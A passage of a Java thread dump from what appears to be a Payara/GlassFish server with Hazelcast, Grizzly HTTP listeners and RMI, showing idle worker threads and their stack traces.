java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.async.thread-1" #138 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a1ffec6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"admin-listener-expirer(1)" #109 daemon [TIMED_WAITING] on java.lang.Object@61e4f87b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.cached.thread-5" #85 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1692294f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"Job Cleanup Service" #38 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@58f83e7a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RMI RenewClean-[192.168.215.4:8686,javax.rmi.ssl.SslRMIClientSocketFactory@149bd049]" #172 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@1cd7c9a7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:143) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:748) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #127 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1759) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.event-3" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63585c3d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:226) + +"Gogo shell" #167 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@267c34cb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.IO.thread-out-0" #75 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:278) + at com.hazelcast.internal.networking.nio.NioThread.run(NioThread.java:235) + +"RMI Scheduler(0)" #171 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2d01f5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"GF Domain XML" #118 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7244fd48 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-10" #137 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@98f161b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(5)" #98 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@1325d2d2 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.partition-operation.thread-2" #44 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:231) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:153) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"http-thread-pool::http-listener-1(3)" #96 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@1325d2d2 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-3" #130 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@98f161b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"EventAdminAsyncThread #5" #156 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59d55cf9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Timer-0" #27 daemon [WAITING] on java.util.TaskQueue@660e2c84 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"hz._hzInstance_1_development.response-0" #40 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:231) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:153) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.doRun(InboundResponseHandlerSupplier.java:283) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.run(InboundResponseHandlerSupplier.java:272) + +"hz._hzInstance_1_development.operation-parker" #65 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@228fe011 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.DelayQueue.poll(DelayQueue.java:259) + at com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask.doRun(OperationParkerImpl.java:224) + at com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask.run(OperationParkerImpl.java:207) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"http-thread-pool::http-listener-2(1)" #101 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@1e2d0880 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"Logging output pump" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@33a04985 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:151) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:129) + +"GFFileHandler log pump" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@409dec9d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.enterprise.server.logging.GFFileHandler.log(GFFileHandler.java:948) + at com.sun.enterprise.server.logging.GFFileHandler$1.run(GFFileHandler.java:581) + +"iiop-service-kernel(1) SelectorRunner" #111 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.SlowOperationDetectorThread" #59 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at java.lang.Thread.sleep(Thread.java:340) + at java.util.concurrent.TimeUnit.sleep(TimeUnit.java:386) + at com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread.sleepInterval(SlowOperationDetector.java:290) + at com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread.run(SlowOperationDetector.java:154) + +"FelixResolver-3" #16 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3bb86dcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.async.thread-3" #143 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a1ffec6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"Executor-Service-1" #128 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@98f161b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.partition-operation.thread-0" #42 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:231) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:153) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"payara-executor-service-task" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32da6f30 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"GF Domain XML" #122 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3cd33022 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.priority-generic-operation.thread-0" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@624879c9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:76) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"RunLevelControllerThread-1754845017536" #30 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@5e405676 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754845017532" #29 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@5e405676 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.cached.thread-11" #91 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1692294f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"hz._hzInstance_1_development.cached.thread-3" #72 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1692294f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"hz._hzInstance_1_development.generic-operation.thread-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6597ec65 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"RMI Reaper" #159 [WAITING] on java.lang.ref.ReferenceQueue$Lock@7cf836e8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:143) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:164) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(3)" #103 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@1e2d0880 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at 